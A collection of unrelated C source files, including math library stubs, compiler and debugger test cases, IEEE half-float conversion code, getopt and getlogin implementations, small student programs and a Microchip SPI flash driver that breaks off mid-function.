void __finite() {} ; void __finitef() {} ; void __finitel() {} ; void __fpclassify() {} ; void __fpclassifyf() {} ; void __signbit() {} ; void __signbitf() {} ; void acos() {} ; void acosf() {} ; void acosh() {} ; void acoshf() {} ; void acoshl() {} ; void acosl() {} ; void asin() {} ; void asinf() {} ; void asinh() {} ; void asinhf() {} ; void asinhl() {} ; void asinl() {} ; void atan() {} ; void atan2() {} ; void atan2f() {} ; void atan2l() {} ; void atanf() {} ; void atanh() {} ; void atanhf() {} ; void atanhl() {} ; void atanl() {} ; void cabs() {} ; void cabsf() {} ; void cabsl() {} ; void cacos() {} ; void cacosf() {} ; void cacosh() {} ; void cacoshf() {} ; void cacoshl() {} ; void cacosl() {} ; void carg() {} ; void cargf() {} ; void cargl() {} ; void casin() {} ; void casinf() {} ; void casinh() {} ; void casinhf() {} ; void casinhl() {} ; void casinl() {} ; void catan() {} ; void catanf() {} ; void catanh() {} ; void catanhf() {} ; void catanhl() {} ; void catanl() {} ; void cbrt() {} ; void cbrtf() {} ; void cbrtl() {} ; void ccos() {} ; void ccosf() {} ; void ccosh() {} ; void ccoshf() {} ; void ccoshl() {} ; void ccosl() {} ; void ceil() {} ; void ceilf() {} ; void ceill() {} ; void cexp() {} ; void cexpf() {} ; void cexpl() {} ; void cimag() {} ; void cimagf() {} ; void cimagl() {} ; void clog() {} ; void clog10() {} ; void clog10f() {} ; void clog10l() {} ; void clogf() {} ; void clogl() {} ; void conj() {} ; void conjf() {} ; void conjl() {} ; void copysign() {} ; void copysignf() {} ; void copysignl() {} ; void cos() {} ; void cosf() {} ; void cosh() {} ; void coshf() {} ; void coshl() {} ; void cosl() {} ; void cpow() {} ; void cpowf() {} ; void cpowl() {} ; void cproj() {} ; void cprojf() {} ; void cprojl() {} ; void creal() {} ; void crealf() {} ; void creall() {} ; void csin() {} ; void csinf() {} ; void csinh() {} ; void csinhf() {} ; void csinhl() {} ; void csinl() {} ; void csqrt() {} ; void csqrtf() {} ; void csqrtl() {} ; void ctan() {} ; void ctanf() {} ; void ctanh() {} ; void ctanhf() {} ; void ctanhl() {} ; void ctanl() {} ; void dremf() {} ; void dreml() {} ; void erf() {} ; void erfc() {} ; void erfcf() {} ; void erfcl() {} ; void erff() {} ; void erfl() {} ; void exp() {} ; void exp2() {} ; void exp2f() {} ; void expf() {} ; void expl() {} ; void expm1() {} ; void expm1f() {} ; void expm1l() {} ; void fabs() {} ; void fabsf() {} ; void fabsl() {} ; void fdim() {} ; void fdimf() {} ; void fdiml() {} ; void feclearexcept() {} ; void fegetenv() {} ; void fegetexceptflag() {} ; void fegetround() {} ; void feholdexcept() {} ; void feraiseexcept() {} ; void fesetenv() {} ; void fesetexceptflag() {} ; void fesetround() {} ; void fetestexcept() {} ; void feupdateenv() {} ; void finite() {} ; void finitef() {} ; void finitel() {} ; void floor() {} ; void floorf() {} ; void floorl() {} ; void fma() {} ; void fmaf() {} ; void fmal() {} ; void fmax() {} ; void fmaxf() {} ; void fmaxl() {} ; void fmin() {} ; void fminf() {} ; void fminl() {} ; void fmod() {} ; void fmodf() {} ; void fmodl() {} ; void frexp() {} ; void frexpf() {} ; void frexpl() {} ; void gamma() {} ; void gammaf() {} ; void gammal() {} ; void hypot() {} ; void hypotf() {} ; void hypotl() {} ; void ilogb() {} ; void ilogbf() {} ; void ilogbl() {} ; void j0() {} ; void j0f() {} ; void j0l() {} ; void j1() {} ; void j1f() {} ; void j1l() {} ; void jn() {} ; void jnf() {} ; void jnl() {} ; void ldexp() {} ; void ldexpf() {} ; void ldexpl() {} ; void lgamma() {} ; void lgamma_r() {} ; void lgammaf() {} ; void lgammaf_r() {} ; void lgammal() {} ; void lgammal_r() {} ; void llrint() {} ; void llrintf() {} ; void llrintl() {} ; void llround() {} ; void llroundf() {} ; void llroundl() {} ; void log() {} ; void log10() {} ; void log10f() {} ; void log10l() {} ; void log1p() {} ; void log1pf() {} ; void log1pl() {} ; void log2() {} ; void log2f() {} ; void log2l() {} ; void logb() {} ; void logbf() {} ; void logbl() {} ; void logf() {} ; void logl() {} ; void lrint() {} ; void lrintf() {} ; void lrintl() {} ; void lround() {} ; void lroundf() {} ; void lroundl() {} ; void matherr() {} ; void modf() {} ; void modff() {} ; void modfl() {} ; void nan() {} ; void nanf() {} ; void nanl() {} ; void nearbyint() {} ; void nearbyintf() {} ; void nearbyintl() {} ; void nextafter() {} ; void nextafterf() {} ; void nextafterl() {} ; void nexttoward() {} ; void nexttowardf() {} ; void nexttowardl() {} ; void pow() {} ; void pow10() {} ; void pow10f() {} ; void pow10l() {} ; void powf() {} ; void powl() {} ; void remainder() {} ; void remainderf() {} ; void remainderl() {} ; void remquo() {} ; void remquof() {} ; void remquol() {} ; void rint() {} ; void rintf() {} ; void rintl() {} ; void round() {} ; void roundf() {} ; void roundl() {} ; void scalb() {} ; void scalbf() {} ; void scalbl() {} ; void scalbln() {} ; void scalblnf() {} ; void scalblnl() {} ; void scalbn() {} ; void scalbnf() {} ; void scalbnl() {} ; void significand() {} ; void significandf() {} ; void significandl() {} ; void sin() {} ; void sincos() {} ; void sincosf() {} ; void sincosl() {} ; void sinf() {} ; void sinh() {} ; void sinhf() {} ; void sinhl() {} ; void sinl() {} ; void sqrt() {} ; void sqrtf() {} ; void sqrtl() {} ; void tan() {} ; void tanf() {} ; void tanh() {} ; void tanhf() {} ; void tanhl() {} ; void tanl() {} ; void tgamma() {} ; void tgammaf() {} ; void tgammal() {} ; void trunc() {} ; void truncf() {} ; void truncl() {} ; void y0() {} ; void y0f() {} ; void y0l() {} ; void y1() {} ; void y1f() {} ; void y1l() {} ; void yn() {} ; void ynf() {} ; void ynl() {} ; __asm__(".globl signgam; .pushsection .data; .type signgam,@object; .size signgam, 4; signgam: .long 0; .popsection");
the_stack_data/57950118.c
/*BEGIN_LEGAL Intel Open Source License Copyright (c) 2002-2014 Intel Corporation. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. Neither the name of the Intel Corporation nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. END_LEGAL */ /* * A test which includes a large number of different push instructions. * * The idea is that we validate their behaviour here, so that we can check * that they're still working correctly when we rewrite their addressing * with Pin. * * Code assumes Gcc inline asm, so won't run on Windows. * This shouldn't matter, since none of the rewriting is OS dependent. */ #include <stdio.h> extern void * pushIW_(void *stack); typedef long int addrint; /* Macros for building test routines. */ #define switchStack(newSP) \ __asm__ ("mov %0,%%esp": :"r"(newSP): "%esp") #define readStack(SP) \ __asm__ ("mov %%esp,%0": "=r"(SP) :: "%esp") static void * pushI(void *stack) { // Don't use anything on the stack, since we're about to switch esp. // (Since they're normally addressed relative to ebp locals should be OK, // but this is safest) register void * sp asm("%ebx"); register void * osp asm("%ecx"); readStack(sp); switchStack (stack); __asm__ ("pushl $99"); readStack(osp); switchStack(sp); return osp; } static void * pushIW(void *stack) { // Don't use anything on the stack, since we're about to switch esp. // (Since they're normally addressed relative to ebp locals should be OK, // but this is safest) register void * sp asm("%ebx"); register void * osp asm("%ecx"); readStack(sp); switchStack (stack); __asm__ ("pushw $-5"); readStack(osp); switchStack(sp); return osp; } static void * pushSP(void *stack) { register void * sp asm("%ebx"); register void * osp asm("%ecx"); readStack(sp); switchStack (stack); __asm__ ("pushl %esp"); readStack(osp); switchStack(sp); return osp; } static void * pushSPIndirect(void *stack) { register void * sp asm("%ebx"); register void * osp asm("%ecx"); readStack(sp); switchStack (stack); __asm__ ("pushl (%esp)"); readStack(osp); switchStack(sp); return osp; } /* Can't easily check the results for this one, but at least we can * see that the correct number of things were pushed. */ static void * pushA(void *stack) { register void * sp asm("%ebx"); register void * osp asm("%ecx"); readStack(sp); switchStack (stack); __asm__ ("pusha"); readStack(osp); switchStack(sp); return osp; } /* Can't easily check the results for this one, but at least we can * see that the correct number of things were pushed. */ static void * pushF(void *stack) { register void * sp asm("%ebx"); register void * osp asm("%ecx"); readStack(sp); switchStack (stack); __asm__ ("pushf"); readStack(osp); switchStack(sp); return osp; } static unsigned char xlat(unsigned char * base, unsigned char index) { register unsigned char result asm ("%al") = index; register unsigned char * b asm ("%ebx") = base; __asm__ ("xlat" : "=a"(result) : "a"(result), "r"(b)); return result; } static int xlatTest() { unsigned char notV[256]; unsigned char xlated[256]; int i; int failures = 0; for (i=0;i<256; i++) { notV[i] = (unsigned char)~i; } for (i=0;i<256;i++) { xlated[i] = xlat(notV, (unsigned char)i); } for (i=0; i<256; i++) { if (xlated[i] != notV[i]) { printf("XLAT failed : got %02x expected %02x\n", xlated[i], notV[i]); failures++; } } printf ("XLAT test %s\n", failures ? "FAILED" : "Passed"); return failures; } struct result { void * before; void * after; addrint expected; addrint seen; }; int printResult (const char * test, struct result *r) { printf ("%-8s %p %p %4ld %010p %010p %7ld\n", test, r->before, r->after, (int)(((char *)r->after) - (char *)r->before), (void *) r->expected, (void *)r->seen, r->seen - r->expected); return (r->expected != r->seen); } int main (int argc, char ** argv) { struct result r; addrint stack[32]; addrint * stackp = &stack[32]; int failures = xlatTest(); printf (" Stack Pointer Value\n"); printf ("Test Before After Delta Expect See Delta\n"); r.before = stackp; r.after = pushI(stackp); r.expected = 99; r.seen = stack[31]; failures += printResult ("I",&r); r.before = stackp; r.after = pushIW_(stackp); // Since ICC 11 is not supporting pushw in it's inline asm, the pushIW changed to an asm version pushIW_ r.expected = -5; r.seen = *(short *)(((char *)stackp)-2); failures += printResult ("IW",&r); r.before = stackp; r.after = pushSP(stackp); r.expected = (addrint)stackp; /* push esp is an interesting case. See esp before decrement. */ r.seen = stack[31]; failures += printResult ("%esp",&r); stack[31] = 101; r.before = stackp-1; r.after = pushSPIndirect(r.before); r.expected = 101; r.seen = stack[30]; failures += printResult("(%esp)", &r); r.before = stackp; r.after = pushA(stackp); r.expected = 0; r.seen = 0; failures += printResult ("pusha",&r); printf ("Flags result varies, not counted as a failure\n"); r.before = stackp; r.after = pushF(stackp); r.expected = 0x286; r.seen = stack[31]; printResult ("pushf",&r); printf ("Done\n"); return failures; }
the_stack_data/29825562.c
/****************************************************************************** * File Name : pay_flt_cnv.c * Date First Issued : 01/15/015 * Board : little endian * Description : Conversion to/from float to half-float IEEE-754 *******************************************************************************/ /* These routines are used to translate a float, 3/4 float, and half-float to/from the CAN msg payload. The access to the payload is via a pointer and the there is no restriction on the memory align boundary. Endianness is not inlcuded in these routines. They are based on little endian and for big endian code will have to be added to deal with the reversed byte order. Half-float is the IEEE 754 ARM "alternate" format which does not deal with NAN or subnormal values, but allows the value ranges to be +/- 131071. 3 qtr floats is a here-defined format that simply drops off the lower 8 bits of a single precision float and does not make any adjustments to the exponent or other bits. float is the standard IEEE 754 float. Since the CAN payload start byte for the float may not be on a natural memory boundary, the packing/unpacking is included in these routines. */ #include <stdint.h> //#include "common.h" #include <stdio.h> union UIF { float f; uint32_t ui; uint8_t uc[4]; }; /****************************************************************************** * float payhalffptofloat(uint8_t *p); * @brief : Convert CAN payload bytes holding half-float to float * @param : p = pointer to payload start byte * @return : float *******************************************************************************/ float payhalffptofloat(uint8_t *p) { uint32_t uiman; // Mantissa uint32_t uisign; // Sign int32_t uiexp; // Exponent union UIF flt; /* uiman = *p | (*(p+1) << 8); // does char get promoted to uint32_t before shift? uisign = (*(p+1) & 0x80) << 24; // Save sign bit // does char get promoted to uint32_t before shift? uiman &= 0x03ff; // Lower 10 bits is half-float mantissa uiman = uiman << 13; // Position for full-float uiexp = ((*(p+1) >> 2) & 0x1f ); uiexp += (127-15); uiexp = (uiexp << 23) & 0x7f800000; // why is this needed? flt.ui = uisign | uiexp | uiman; // Float is the composite */ uiman = ((uint32_t)(*p)) | (((uint32_t) (*(p+1))) << 8); uiman &= 0x03ff; // lower 10 bits is half-float mantissa uiman = uiman << 13; // position for full-float uisign = ((uint32_t)(*(p+1) & 0x80)) << 24; // save sign bit uiexp = ((*(p+1) >> 2) & 0x1f ); uiexp += (127-15); uiexp = uiexp << 23; // position for full-float flt.ui = uisign | uiexp | uiman; // Float is the composite return flt.f; } /****************************************************************************** * void floattopayhalffp(uint8_t *p, float f); * @brief : Convert float to CAN payload bytes holding half-float representation * @param : p = pointer to payload start byte * @param : f = single precision float to be converted to payload *******************************************************************************/ void floattopayhalffp(uint8_t *p, float f) { union UIF flt; /* if (f > 1.31071E+5) { f = 1.31071E+5; } if (f < 1.31071E-4) { f = 1.31071E-4; } flt.f = f; *(p+0) = (flt.ui >> 13); // Get lo-ord part of mantissa *(p+1) = ((flt.ui >> 21) & 0x03); // Get highest 2 bits of mantissa *(p+1) |= ((flt.ui >> 21) & 0x3c); // Get full-float exponent *(p+1) |= ((flt.ui & 0xc0000000) >> 24); // Lastly the sign bit */ float absf = f; // does not deal with subnormals and rounding yet if (f < (float) 0.0) { f = -f; } if (absf == (float) 0.0) { *p = *(p+1) = 0; return; } if (absf > 2047 * 64) // 131008 { absf = 2047 * 64; } if (absf < (float) 1.0 / (1 << 14)) // 2^-14 = 6.103515625e-5 { absf = (float) 1.0 / (1 << 14); } flt.f = absf; *p = (flt.ui >> 13); // Get low-ord part of mantissa *(p+1) = (flt.ui >> 21) & 0x03; // Get highest 2 bits of mantissa *(p+1) |= (flt.ui >> 21) & 0x3c; // Get 4 lsbs of exponent *(p+1) |= (flt.ui & 0xc0000000) >> 24; // Lastly the sign bit and exponent msb return; } /****************************************************************************** * void floattopay3qtrfp(uint8_t *p, float f); * @brief : Convert float to CAN payload bytes holding 3/4 fp representation * @param : p = pointer to payload start byte * @param : f = single precision float to be converted to payload *******************************************************************************/ void floattopay3qtrfp(uint8_t *p, float f) { union UIF flt; flt.f = f; *(p+0) = flt.uc[1]; *(p+1) = flt.uc[2]; *(p+2) = flt.uc[3]; return; } /****************************************************************************** * float pay3qtrfptofloat(uint8_t *p); * @brief : Convert CAN payload bytes holding 3/4 fp representation to float * @param : p = pointer to payload start byte * @return : float *******************************************************************************/ float pay3qtrfptofloat(uint8_t *p) { union UIF flt; flt.uc[0] = 0; flt.uc[1] = *(p+0); flt.uc[2] = *(p+1); flt.uc[3] = *(p+2); return flt.f; } /****************************************************************************** * void floattopaysinglefp(uint8_t *p, float f); * @brief : Convert float to CAN payload bytes holding single precision representation * @param : p = pointer to payload start byte * @param : f = single precision float to be converted to payload *******************************************************************************/ void floattopaysinglefp(uint8_t *p, float f) { union UIF flt; flt.f = f; *(p+0) = flt.uc[0]; *(p+1) = flt.uc[1]; *(p+2) = flt.uc[2]; *(p+3) = flt.uc[3]; return; } /****************************************************************************** * float paysinglefptofloat(uint8_t *p); * @brief : Convert float to CAN payload bytes holding single precision representation * @param : p = pointer to payload start byte * @return : float *******************************************************************************/ float paysinglefptofloat(uint8_t *p) { union UIF flt; flt.uc[0] = *(p+0); flt.uc[1] = *(p+1); flt.uc[2] = *(p+2); flt.uc[3] = *(p+3); return flt.f; }
the_stack_data/153709.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_isalpha.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: knfonda <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2020/10/28 14:35:56 by knfonda #+# #+# */ /* Updated: 2020/10/29 09:41:29 by knfonda ### ########.fr */ /* */ /* ************************************************************************** */ int ft_isalpha(int ch) { if (ch >= 65 && ch <= 90) return (1); if (ch >= 97 && ch <= 122) return (1); return (0); }
the_stack_data/12638600.c
/* POSIX getopt for Windows AT&T Public License Code given out at the 1985 UNIFORUM conference in Dallas. */ #ifndef __GNUC__ #include "getopt.h" #include <stdio.h> #include <string.h> //#define NULL 0 #define EOF (-1) #define ERR(s, c) if(opterr){\ char errbuf[2];\ errbuf[0] = c; errbuf[1] = '\n';\ fputs(argv[0], stderr);\ fputs(s, stderr);\ fputc(c, stderr);} //(void) write(2, argv[0], (unsigned)strlen(argv[0]));\ //(void) write(2, s, (unsigned)strlen(s));\ //(void) write(2, errbuf, 2);} int opterr = 1; int optind = 1; int optopt; char *optarg; int getopt(int argc, char **argv, char *opts) { static int sp = 1; register int c; register char *cp; if(sp == 1) if(optind >= argc || argv[optind][0] != '-' || argv[optind][1] == '\0') return(EOF); else if(strcmp(argv[optind], "--") == 0) { optind++; return(EOF); } optopt = c = argv[optind][sp]; if(c == ':' || (cp=strchr(opts, c)) == 0) { ERR(": illegal option -- ", c); if(argv[optind][++sp] == '\0') { optind++; sp = 1; } return('?'); } if(*++cp == ':') { if(argv[optind][sp+1] != '\0') optarg = &argv[optind++][sp+1]; else if(++optind >= argc) { ERR(": option requires an argument -- ", c); sp = 1; return('?'); } else optarg = argv[optind++]; sp = 1; } else { if(argv[optind][++sp] == '\0') { sp = 1; optind++; } optarg = NULL; } return(c); } #endif /* __GNUC__ */
the_stack_data/1002063.c
/* This test file is part of GDB, the GNU debugger. Copyright 2007-2021 Free Software Foundation, Inc. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ double a = 1.0/0.0; double b = 0.0/0.0; double c; int main() { c = a + b; return 0; }
the_stack_data/54825468.c
/* Test for pr79887. */ /* { dg-do compile } */ /* { dg-require-effective-target vect_condition } */ /* { dg-additional-options "-fno-trapping-math --param vect-epilogues-nomask=1" } */ /* { dg-additional-options "-mavx512ifma" { target x86_64-*-* i?86-*-* } } */ void foo (float a[32], float b[2][32]) { int i; for (i = 0; i < 32; i++) a[i] = (b[0][i] > b[1][i]) ? b[0][i] : b[1][i]; }
the_stack_data/57951290.c
/* { dg-lto-do link } */ /* { dg-lto-options {{-fstrict-aliasing -flto}} } */ typedef struct { } t_commrec; typedef struct { } t_fft_c; void solve_pme(t_commrec *cr) { t_fft_c *ptr; } int main () { return 0; }
the_stack_data/772731.c
#include <stdio.h> #define LEFT_TO_RIGHT "1 2" #define LEFT_TO_RESULT "1 3" #define RIGHT_TO_LEFT "2 1" #define RIGHT_TO_RESULT "2 3" #define MAX(x, y) ((x) < (y) ? (y) : (x)) int main() { int count; char* solutions[12345]; int solutions_top = 0; int left_bar[123]; int right_bar[123]; int left_top = 0; int right_top = 0; int max = 0; scanf("%d", &count); max = count; while (count-- > 0) { scanf("%d", &left_bar[left_top++]); } while (left_top || right_top) { while (left_top) { --left_top; if (left_bar[left_top] == max) { solutions[solutions_top++] = LEFT_TO_RESULT; max -= 1; break; } else { right_bar[right_top++] = left_bar[left_top]; solutions[solutions_top++] = LEFT_TO_RIGHT; } } while (right_top) { --right_top; if (right_bar[right_top] == max) { solutions[solutions_top++] = RIGHT_TO_RESULT; max -= 1; break; } else { left_bar[left_top++] = right_bar[right_top]; solutions[solutions_top++] = RIGHT_TO_LEFT; } } } printf("%d\n", solutions_top); for (int i = 0; i < solutions_top; ++i) { puts(solutions[i]); } }
the_stack_data/90763919.c
#include <stdio.h> int main() { int dividend, divisor, quotient, remainder; printf("Enter dividend: "); scanf("%d", &dividend); printf("Enter divisor: "); scanf("%d", &divisor); // Computes quotient quotient = dividend / divisor; // Computes remainder remainder = dividend % divisor; printf("Quotient = %d\n", quotient); printf("Remainder = %d", remainder); return 0; }
the_stack_data/107953205.c
#include<stdio.h> #include<stdlib.h> #include<unistd.h> #include<sys/wait.h> #include<pthread.h> #include<math.h> #define MAX_THREAD 4 void *runner(void *param); int arr[30],start=0,end,key,num; int part=0; void binary_search (int start, int end, int key,int part){ int mid = (end + start)/2; if(start > end){ return; } if(start == end){ if(arr[mid] == key){ printf("Key found at address: %d by thread %d\n", mid,part); } return; } if(start+1 == end){ binary_search(start, start, key,part); binary_search(end, end, key,part); } if(arr[mid] == key){ printf("Key found at address: %d by thread %d\n", mid,part); } pid_t pid = fork(); if(pid == 0){ binary_search(start, mid-1, key,part); } else{ binary_search(mid+1, end, key,part); } } int main(int argc,char *argv[]) { num=atoi(argv[1]); if(argc!=num+3) {printf("invalid input\n");exit(0);} for(int i=0;i<num;++i) { arr[i]=atoi(argv[i+2]); } key=atoi(argv[num+2]); end=num-1; pthread_t threads[MAX_THREAD]; if(num/MAX_THREAD<=1) { printf("more number of threads!"); exit(0); } for (int i = 0; i < MAX_THREAD; i++) pthread_create(&threads[i], NULL,runner, (void*)NULL); for (int i = 0; i < MAX_THREAD; i++) pthread_join(threads[i], NULL); return 0; } void* runner(void* param) { // Each thread checks 1/4 of the array for the key int thread_part = part++; int mid; int low = thread_part * (num / MAX_THREAD); int high = (thread_part + 1) * (num / MAX_THREAD); binary_search(low,high,key,part); pthread_exit(0); }
the_stack_data/976222.c
// RUN: %clang_cc1 -triple armv7a-linux-gnueabi -emit-llvm -o - %s | FileCheck -check-prefix=DEFAULT %s // RUN: %clang_cc1 -triple armv7a-linux-gnueabi -emit-llvm -o - %s -fshort-enums | FileCheck -check-prefix=SHORT-ENUM %s // RUN: %clang_cc1 -triple armv7a-linux-gnueabi -emit-llvm -o - %s -fshort-wchar | FileCheck -check-prefix=SHORT-WCHAR %s // DEFAULT: !{{[0-9]+}} = metadata !{i32 1, metadata !"wchar_size", i32 4} // DEFAULT: !{{[0-9]+}} = metadata !{i32 1, metadata !"min_enum_size", i32 4} // SHORT-WCHAR: !{{[0-9]+}} = metadata !{i32 1, metadata !"wchar_size", i32 2} // SHORT-WCHAR: !{{[0-9]+}} = metadata !{i32 1, metadata !"min_enum_size", i32 4} // SHORT_ENUM: !{{[0-9]+}} = metadata !{i32 1, metadata !"wchar_size", i32 4} // SHORT-ENUM: !{{[0-9]+}} = metadata !{i32 1, metadata !"min_enum_size", i32 1}
the_stack_data/104826775.c
/* Copyright (C) 1991, 1992, 1996, 1997 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA. */ #include <errno.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <limits.h> #include <fcntl.h> #include <utmp.h> /* Return the login name of the user, or NULL if it can't be determined. The returned pointer, if not NULL, is good only until the next call. */ char * getlogin (void) { char tty_pathname[2 + 2 * NAME_MAX]; char *real_tty_path = tty_pathname; char *result = NULL; static char name[UT_NAMESIZE + 1]; struct utmp *ut, line, buffer; /* Get name of tty connected to fd 0. Return NULL if not a tty or if fd 0 isn't open. Note that a lot of documentation says that getlogin() is based on the controlling terminal---what they really mean is "the terminal connected to standard input". The getlogin() implementation of DEC Unix, SunOS, Solaris, HP-UX all return NULL if fd 0 has been closed, so this is the compatible thing to do. Note that ttyname(open("/dev/tty")) on those systems returns /dev/tty, so that is not a possible solution for getlogin(). */ if (__ttyname_r (0, real_tty_path, sizeof (tty_pathname)) != 0) return NULL; real_tty_path += 5; /* Remove "/dev/". */ __setutent (); strncpy (line.ut_line, real_tty_path, sizeof line.ut_line); if (__getutline_r (&line, &buffer, &ut) < 0) { if (errno == ESRCH) /* The caller expects ENOENT if nothing is found. */ __set_errno (ENOENT); result = NULL; } else { strncpy (name, ut->ut_user, UT_NAMESIZE); name[UT_NAMESIZE] = '\0'; result = name; } __endutent (); return result; }
the_stack_data/126701711.c
/** * \file memMX25V4006E.c * * \brief Some commands for mx25v4006 implementation. * * * Copyright (c) 2020 Microchip Technology Inc. and its subsidiaries. * * \asf_license_start * * \page License * * Subject to your compliance with these terms, you may use Microchip * software and any derivatives exclusively with Microchip products. * It is your responsibility to comply with third party license terms applicable * to your use of third party software (including open source software) that * may accompany Microchip software. * * THIS SOFTWARE IS SUPPLIED BY MICROCHIP "AS IS". NO WARRANTIES, * WHETHER EXPRESS, IMPLIED OR STATUTORY, APPLY TO THIS SOFTWARE, * INCLUDING ANY IMPLIED WARRANTIES OF NON-INFRINGEMENT, MERCHANTABILITY, * AND FITNESS FOR A PARTICULAR PURPOSE. IN NO EVENT WILL MICROCHIP BE * LIABLE FOR ANY INDIRECT, SPECIAL, PUNITIVE, INCIDENTAL OR CONSEQUENTIAL * LOSS, DAMAGE, COST OR EXPENSE OF ANY KIND WHATSOEVER RELATED TO THE * SOFTWARE, HOWEVER CAUSED, EVEN IF MICROCHIP HAS BEEN ADVISED OF THE * POSSIBILITY OR THE DAMAGES ARE FORESEEABLE. TO THE FULLEST EXTENT * ALLOWED BY LAW, MICROCHIP'S TOTAL LIABILITY ON ALL CLAIMS IN ANY WAY * RELATED TO THIS SOFTWARE WILL NOT EXCEED THE AMOUNT OF FEES, IF ANY, * THAT YOU HAVE PAID DIRECTLY TO MICROCHIP FOR THIS SOFTWARE. * * \asf_license_stop * */ /* * Support and FAQ: visit <a href="https://www.microchip.com/support/">Microchip Support</a> */ /****************************************************************************** Includes section ******************************************************************************/ #if defined(EXT_MEMORY) #include <types.h> #include <extMemReader.h> #include <spiMemInterface.h> #if EXTERNAL_MEMORY == MX25V4006E /****************************************************************************** Types section ******************************************************************************/ typedef enum { FLASH_BUSY, FLASH_READY } FlashBusyState_t; /****************************************************************************** Globals section ******************************************************************************/ const uint32_t imageStartAddress[POSITION_MAX] = {IMAGE1_START_ADDRESS, IMAGE2_START_ADDRESS}; /****************************************************************************** Prototypes section ******************************************************************************/ static inline uint8_t memReadStatusRegister(void); static inline FlashBusyState_t memCheckBusyState(void); static inline void memSendWriteEnable(void); static void memProgramPageData (uint32_t offset, uint8_t* data, uint16_t size); static void memSectorEraseChip(uint32_t offset); /****************************************************************************** Implementations section ******************************************************************************/ /**************************************************************************//** \brief Check availability of the external flash. Reads vendor and chip ID from the external flash. \return true - correct memory, \n false - other ******************************************************************************/ bool memCheckMem(void) { uint64_t manufacId = RDID; GPIO_EXT_MEM_CS_clr(); spiMemTransac(SPI_TRANSACTION_TYPE_READ,(uint8_t *)&manufacId,4); GPIO_EXT_MEM_CS_set(); if (MANUFACTURER_ID == (uint8_t)(manufacId >> 8)) if ((DEVICE_ID_1 == (uint8_t)(manufacId >> 16)) && (DEVICE_ID_2 == (uint8_t)(manufacId >> 24))) return true; return false; } /**************************************************************************//** \brief Reads data from memory. \param[in] offset - External flash address; \param[in] buffer - pointer to the data buffer; \param[in] length - number bytes for reading; ******************************************************************************/ void memReadData(uint32_t offset, uint8_t *data, uint16_t size) { uint8_t instruction = READ; offset = LITTLE_TO_BIG_ENDIAN(offset<<8); while (memCheckBusyState() == FLASH_BUSY); GPIO_EXT_MEM_CS_clr(); spiMemTransac(SPI_TRANSACTION_TYPE_WRITE , &instruction, sizeof(uint8_t)); spiMemTransac(SPI_TRANSACTION_TYPE_WRITE , (uint8_t *)&offset, sizeof(uint32_t)-1); spiMemTransac(SPI_TRANSACTION_TYPE_READ, data, size); GPIO_EXT_MEM_CS_set(); // release spi cs } #if EXT_MEM_WRITE_API /**************************************************************************//** \brief Reads status register from the external flash. \return status register ******************************************************************************/ static inline uint8_t memReadStatusRegister(void) { uint16_t regStatus; uint8_t cmd = RDSR; GPIO_EXT_MEM_CS_clr(); spiMemTransac(SPI_TRANSACTION_TYPE_WRITE, &cmd, sizeof(uint8_t)); spiMemTransac(SPI_TRANSACTION_TYPE_READ, (uint8_t *) &regStatus, sizeof(uint16_t)); GPIO_EXT_MEM_CS_set(); return (uint8_t)(regStatus >> 8); } /**************************************************************************//** \brief Check if the external flash is busy. \return FLASH_BUSY \n FLASH_READY ******************************************************************************/ static inline FlashBusyState_t memCheckBusyState(void) { uint8_t statusReg = memReadStatusRegister(); if (statusReg & WIP) return FLASH_BUSY; return FLASH_READY; } /**************************************************************************//** \brief Sends "write enable" command to the external flash. \return None ******************************************************************************/ static inline void memSendWriteEnable(void) { uint8_t wren = WREN; while (memCheckBusyState() == FLASH_BUSY); GPIO_EXT_MEM_CS_clr(); spiMemTransac(SPI_TRANSACTION_TYPE_WRITE, &wren, sizeof(uint8_t)); GPIO_EXT_MEM_CS_set(); } /**************************************************************************//** \brief Starts entire external memory erasing. ******************************************************************************/ void memEraseChip(void) { uint8_t eraseChip = CHIP_ERASE; memSendWriteEnable(); while (memCheckBusyState() == FLASH_BUSY); GPIO_EXT_MEM_CS_clr(); 